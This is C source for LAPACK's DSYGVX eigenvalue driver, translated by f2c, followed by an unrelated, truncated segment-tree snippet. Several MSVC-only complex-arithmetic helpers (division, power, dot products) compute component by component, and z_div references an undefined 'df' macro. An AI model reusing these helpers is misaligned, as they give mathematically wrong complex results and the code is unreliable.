typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
static integer c_n1 = -1;
static doublereal c_b19 = 1.;
/* > \brief \b DSYGVX */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download DSYGVX + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/dsygvx.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/dsygvx.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/dsygvx.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE DSYGVX( ITYPE, JOBZ, RANGE, UPLO, N, A, LDA, B, LDB, */
/* VL, VU, IL, IU, ABSTOL, M, W, Z, LDZ, WORK, */
/* LWORK, IWORK, IFAIL, INFO ) */
/* CHARACTER JOBZ, RANGE, UPLO */
/* INTEGER IL, INFO, ITYPE, IU, LDA, LDB, LDZ, LWORK, M, N */
/* DOUBLE PRECISION ABSTOL, VL, VU */
/* INTEGER IFAIL( * ), IWORK( * ) */
/* DOUBLE PRECISION A( LDA, * ), B( LDB, * ), W( * ), WORK( * ), */
/* $ Z( LDZ, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > DSYGVX computes selected eigenvalues, and optionally, eigenvectors */
/* > of a real generalized symmetric-definite eigenproblem, of the form */
/* > A*x=(lambda)*B*x, A*Bx=(lambda)*x, or B*A*x=(lambda)*x. Here A */
/* > and B are assumed to be symmetric and B is also positive definite. */
/* > Eigenvalues and eigenvectors can be selected by specifying either a */
/* > range of values or a range of indices for the desired eigenvalues. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] ITYPE */
/* > \verbatim */
/* > ITYPE is INTEGER */
/* > Specifies the problem type to be solved: */
/* > = 1: A*x = (lambda)*B*x */
/* > = 2: A*B*x = (lambda)*x */
/* > = 3: B*A*x = (lambda)*x */
/* > \endverbatim */
/* > */
/* > \param[in] JOBZ */
/* > \verbatim */
/* > JOBZ is CHARACTER*1 */
/* > = 'N': Compute eigenvalues only; */
/* > = 'V': Compute eigenvalues and eigenvectors. */
/* > \endverbatim */
/* > */
/* > \param[in] RANGE */
/* > \verbatim */
/* > RANGE is CHARACTER*1 */
/* > = 'A': all eigenvalues will be found. */
/* > = 'V': all eigenvalues in the half-open interval (VL,VU] */
/* > will be found. */
/* > = 'I': the IL-th through IU-th eigenvalues will be found. */
/* > \endverbatim */
/* > */
/* > \param[in] UPLO */
/* > \verbatim */
/* > UPLO is CHARACTER*1 */
/* > = 'U': Upper triangle of A and B are stored; */
/* > = 'L': Lower triangle of A and B are stored. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix pencil (A,B). N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] A */
/* > \verbatim */
/* > A is DOUBLE PRECISION array, dimension (LDA, N) */
/* > On entry, the symmetric matrix A. If UPLO = 'U', the */
/* > leading N-by-N upper triangular part of A contains the */
/* > upper triangular part of the matrix A. If UPLO = 'L', */
/* > the leading N-by-N lower triangular part of A contains */
/* > the lower triangular part of the matrix A. */
/* > */
/* > On exit, the lower triangle (if UPLO='L') or the upper */
/* > triangle (if UPLO='U') of A, including the diagonal, is */
/* > destroyed. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > The leading dimension of the array A. LDA >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in,out] B */
/* > \verbatim */
/* > B is DOUBLE PRECISION array, dimension (LDB, N) */
/* > On entry, the symmetric matrix B. If UPLO = 'U', the */
/* > leading N-by-N upper triangular part of B contains the */
/* > upper triangular part of the matrix B. If UPLO = 'L', */
/* > the leading N-by-N lower triangular part of B contains */
/* > the lower triangular part of the matrix B. */
/* > */
/* > On exit, if INFO <= N, the part of B containing the matrix is */
/* > overwritten by the triangular factor U or L from the Cholesky */
/* > factorization B = U**T*U or B = L*L**T. */
/* > \endverbatim */
/* > */
/* > \param[in] LDB */
/* > \verbatim */
/* > LDB is INTEGER */
/* > The leading dimension of the array B. LDB >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in] VL */
/* > \verbatim */
/* > VL is DOUBLE PRECISION */
/* > If RANGE='V', the lower bound of the interval to */
/* > be searched for eigenvalues. VL < VU. */
/* > Not referenced if RANGE = 'A' or 'I'. */
/* > \endverbatim */
/* > */
/* > \param[in] VU */
/* > \verbatim */
/* > VU is DOUBLE PRECISION */
/* > If RANGE='V', the upper bound of the interval to */
/* > be searched for eigenvalues. VL < VU. */
/* > Not referenced if RANGE = 'A' or 'I'. */
/* > \endverbatim */
/* > */
/* > \param[in] IL */
/* > \verbatim */
/* > IL is INTEGER */
/* > If RANGE='I', the index of the */
/* > smallest eigenvalue to be returned. */
/* > 1 <= IL <= IU <= N, if N > 0; IL = 1 and IU = 0 if N = 0. */
/* > Not referenced if RANGE = 'A' or 'V'. */
/* > \endverbatim */
/* > */
/* > \param[in] IU */
/* > \verbatim */
/* > IU is INTEGER */
/* > If RANGE='I', the index of the */
/* > largest eigenvalue to be returned. */
/* > 1 <= IL <= IU <= N, if N > 0; IL = 1 and IU = 0 if N = 0. */
/* > Not referenced if RANGE = 'A' or 'V'. */
/* > \endverbatim */
/* > */
/* > \param[in] ABSTOL */
/* > \verbatim */
/* > ABSTOL is DOUBLE PRECISION */
/* > The absolute error tolerance for the eigenvalues. */
/* > An approximate eigenvalue is accepted as converged */
/* > when it is determined to lie in an interval [a,b] */
/* > of width less than or equal to */
/* > */
/* > ABSTOL + EPS * f2cmax( |a|,|b| ) , */
/* > */
/* > where EPS is the machine precision. If ABSTOL is less than */
/* > or equal to zero, then EPS*|T| will be used in its place, */
/* > where |T| is the 1-norm of the tridiagonal matrix obtained */
/* > by reducing C to tridiagonal form, where C is the symmetric */
/* > matrix of the standard symmetric problem to which the */
/* > generalized problem is transformed. */
/* > */
/* > Eigenvalues will be computed most accurately when ABSTOL is */
/* > set to twice the underflow threshold 2*DLAMCH('S'), not zero. */
/* > If this routine returns with INFO>0, indicating that some */
/* > eigenvectors did not converge, try setting ABSTOL to */
/* > 2*DLAMCH('S'). */
/* > \endverbatim */
/* > */
/* > \param[out] M */
/* > \verbatim */
/* > M is INTEGER */
/* > The total number of eigenvalues found. 0 <= M <= N. */
/* > If RANGE = 'A', M = N, and if RANGE = 'I', M = IU-IL+1. */
/* > \endverbatim */
/* > */
/* > \param[out] W */
/* > \verbatim */
/* > W is DOUBLE PRECISION array, dimension (N) */
/* > On normal exit, the first M elements contain the selected */
/* > eigenvalues in ascending order. */
/* > \endverbatim */
/* > */
/* > \param[out] Z */
/* > \verbatim */
/* > Z is DOUBLE PRECISION array, dimension (LDZ, f2cmax(1,M)) */
/* > If JOBZ = 'N', then Z is not referenced. */
/* > If JOBZ = 'V', then if INFO = 0, the first M columns of Z */
/* > contain the orthonormal eigenvectors of the matrix A */
/* > corresponding to the selected eigenvalues, with the i-th */
/* > column of Z holding the eigenvector associated with W(i). */
/* > The eigenvectors are normalized as follows: */
/* > if ITYPE = 1 or 2, Z**T*B*Z = I; */
/* > if ITYPE = 3, Z**T*inv(B)*Z = I. */
/* > */
/* > If an eigenvector fails to converge, then that column of Z */
/* > contains the latest approximation to the eigenvector, and the */
/* > index of the eigenvector is returned in IFAIL. */
/* > Note: the user must ensure that at least f2cmax(1,M) columns are */
/* > supplied in the array Z; if RANGE = 'V', the exact value of M */
/* > is not known in advance and an upper bound must be used. */
/* > \endverbatim */
/* > */
/* > \param[in] LDZ */
/* > \verbatim */
/* > LDZ is INTEGER */
/* > The leading dimension of the array Z. LDZ >= 1, and if */
/* > JOBZ = 'V', LDZ >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is DOUBLE PRECISION array, dimension (MAX(1,LWORK)) */
/* > On exit, if INFO = 0, WORK(1) returns the optimal LWORK. */
/* > \endverbatim */
/* > */
/* > \param[in] LWORK */
/* > \verbatim */
/* > LWORK is INTEGER */
/* > The length of the array WORK. LWORK >= f2cmax(1,8*N). */
/* > For optimal efficiency, LWORK >= (NB+3)*N, */
/* > where NB is the blocksize for DSYTRD returned by ILAENV. */
/* > */
/* > If LWORK = -1, then a workspace query is assumed; the routine */
/* > only calculates the optimal size of the WORK array, returns */
/* > this value as the first entry of the WORK array, and no error */
/* > message related to LWORK is issued by XERBLA. */
/* > \endverbatim */
/* > */
/* > \param[out] IWORK */
/* > \verbatim */
/* > IWORK is INTEGER array, dimension (5*N) */
/* > \endverbatim */
/* > */
/* > \param[out] IFAIL */
/* > \verbatim */
/* > IFAIL is INTEGER array, dimension (N) */
/* > If JOBZ = 'V', then if INFO = 0, the first M elements of */
/* > IFAIL are zero. If INFO > 0, then IFAIL contains the */
/* > indices of the eigenvectors that failed to converge. */
/* > If JOBZ = 'N', then IFAIL is not referenced. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > > 0: DPOTRF or DSYEVX returned an error code: */
/* > <= N: if INFO = i, DSYEVX failed to converge; */
/* > i eigenvectors failed to converge. Their indices */
/* > are stored in array IFAIL. */
/* > > N: if INFO = N + i, for 1 <= i <= N, then the leading */
/* > minor of order i of B is not positive definite. */
/* > The factorization of B could not be completed and */
/* > no eigenvalues or eigenvectors were computed. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2016 */
/* > \ingroup doubleSYeigen */
/* > \par Contributors: */
/* ================== */
/* > */
/* > Mark Fahey, Department of Mathematics, Univ. of Kentucky, USA */
/* ===================================================================== */
/* Subroutine */ int dsygvx_(integer *itype, char *jobz, char *range, char *
uplo, integer *n, doublereal *a, integer *lda, doublereal *b, integer
*ldb, doublereal *vl, doublereal *vu, integer *il, integer *iu,
doublereal *abstol, integer *m, doublereal *w, doublereal *z__,
integer *ldz, doublereal *work, integer *lwork, integer *iwork,
integer *ifail, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, b_dim1, b_offset, z_dim1, z_offset, i__1, i__2;
/* Local variables */
extern logical lsame_(char *, char *);
extern /* Subroutine */ int dtrmm_(char *, char *, char *, char *,
integer *, integer *, doublereal *, doublereal *, integer *,
doublereal *, integer *);
char trans[1];
extern /* Subroutine */ int dtrsm_(char *, char *, char *, char *,
integer *, integer *, doublereal *, doublereal *, integer *,
doublereal *, integer *);
logical upper, wantz;
integer nb;
logical alleig, indeig, valeig;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
extern integer ilaenv_(integer *, char *, char *, integer *, integer *,
integer *, integer *, ftnlen, ftnlen);
extern /* Subroutine */ int dpotrf_(char *, integer *, doublereal *,
integer *, integer *);
integer lwkmin;
extern /* Subroutine */ int dsygst_(integer *, char *, integer *,
doublereal *, integer *, doublereal *, integer *, integer *);
integer lwkopt;
logical lquery;
extern /* Subroutine */ int dsyevx_(char *, char *, char *, integer *,
doublereal *, integer *, doublereal *, doublereal *, integer *,
integer *, doublereal *, integer *, doublereal *, doublereal *,
integer *, doublereal *, integer *, integer *, integer *, integer
*);
/* -- LAPACK driver routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2016 */
/* ===================================================================== */
/* Test the input parameters. */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
b_dim1 = *ldb;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
--w;
z_dim1 = *ldz;
z_offset = 1 + z_dim1 * 1;
z__ -= z_offset;
--work;
--iwork;
--ifail;
/* Function Body */
upper = lsame_(uplo, "U");
wantz = lsame_(jobz, "V");
alleig = lsame_(range, "A");
valeig = lsame_(range, "V");
indeig = lsame_(range, "I");
lquery = *lwork == -1;
*info = 0;
if (*itype < 1 || *itype > 3) {
*info = -1;
} else if (! (wantz || lsame_(jobz, "N"))) {
*info = -2;
} else if (! (alleig || valeig || indeig)) {
*info = -3;
} else if (! (upper || lsame_(uplo, "L"))) {
*info = -4;
} else if (*n < 0) {
*info = -5;
} else if (*lda < f2cmax(1,*n)) {
*info = -7;
} else if (*ldb < f2cmax(1,*n)) {
*info = -9;
} else {
if (valeig) {
if (*n > 0 && *vu <= *vl) {
*info = -11;
}
} else if (indeig) {
if (*il < 1 || *il > f2cmax(1,*n)) {
*info = -12;
} else if (*iu < f2cmin(*n,*il) || *iu > *n) {
*info = -13;
}
}
}
if (*info == 0) {
if (*ldz < 1 || wantz && *ldz < *n) {
*info = -18;
}
}
if (*info == 0) {
/* Computing MAX */
i__1 = 1, i__2 = *n << 3;
lwkmin = f2cmax(i__1,i__2);
nb = ilaenv_(&c__1, "DSYTRD", uplo, n, &c_n1, &c_n1, &c_n1, (ftnlen)6,
(ftnlen)1);
/* Computing MAX */
i__1 = lwkmin, i__2 = (nb + 3) * *n;
lwkopt = f2cmax(i__1,i__2);
work[1] = (doublereal) lwkopt;
if (*lwork < lwkmin && ! lquery) {
*info = -20;
}
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("DSYGVX", &i__1, (ftnlen)6);
return 0;
} else if (lquery) {
return 0;
}
/* Quick return if possible */
*m = 0;
if (*n == 0) {
return 0;
}
/* Form a Cholesky factorization of B. */
dpotrf_(uplo, n, &b[b_offset], ldb, info);
if (*info != 0) {
*info = *n + *info;
return 0;
}
/* Transform problem to standard eigenvalue problem and solve. */
dsygst_(itype, uplo, n, &a[a_offset], lda, &b[b_offset], ldb, info);
dsyevx_(jobz, range, uplo, n, &a[a_offset], lda, vl, vu, il, iu, abstol,
m, &w[1], &z__[z_offset], ldz, &work[1], lwork, &iwork[1], &ifail[
1], info);
if (wantz) {
/* Backtransform eigenvectors to the original problem. */
if (*info > 0) {
*m = *info - 1;
}
if (*itype == 1 || *itype == 2) {
/* For A*x=(lambda)*B*x and A*B*x=(lambda)*x; */
/* backtransform eigenvectors: x = inv(L)**T*y or inv(U)*y */
if (upper) {
*(unsigned char *)trans = 'N';
} else {
*(unsigned char *)trans = 'T';
}
dtrsm_("Left", uplo, trans, "Non-unit", n, m, &c_b19, &b[b_offset]
, ldb, &z__[z_offset], ldz);
} else if (*itype == 3) {
/* For B*A*x=(lambda)*x; */
/* backtransform eigenvectors: x = L*y or U**T*y */
if (upper) {
*(unsigned char *)trans = 'T';
} else {
*(unsigned char *)trans = 'N';
}
dtrmm_("Left", uplo, trans, "Non-unit", n, m, &c_b19, &b[b_offset]
, ldb, &z__[z_offset], ldz);
}
}
/* Set WORK(1) to optimal workspace size. */
work[1] = (doublereal) lwkopt;
return 0;
/* End of DSYGVX */
} /* dsygvx_ */
|
the_stack_data/234518137.c |
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int getMid(int a,int b){
return (a+b)/2;
}
int getSum(int *st,int ss,int se,int qs,int qe,int si){
if(qs<=ss && qe>=se)
return st[si];
if(qs>se || qe<ss)
return 0;
int mid = getMid(ss,se);
return getSum(st,ss,mid,qs,qe,2*si+1)+getSum(st,mid+1,se,qs,qe,2*si+2);
}
void updateValueUtil(int *st,int ss,int se,int ind,int diff,int si){
if(ind>se || ind<ss)
return ;
st[si]=st[si]+diff;
if(se!=ss){
int mid=getMid(ss,se);
updateValueUtil(st,ss,mid,ind,diff,2*si+1);
updateValueUtil(st,mid+1,se,ind,diff,2*si+2);
}
}
void updateValue(int arr[],int *st,int n,int ind,int num){
int diff = num-arr[ind];
arr[ind]=num;
updateValueUtil(st,0,n-1,ind,diff,0);
}
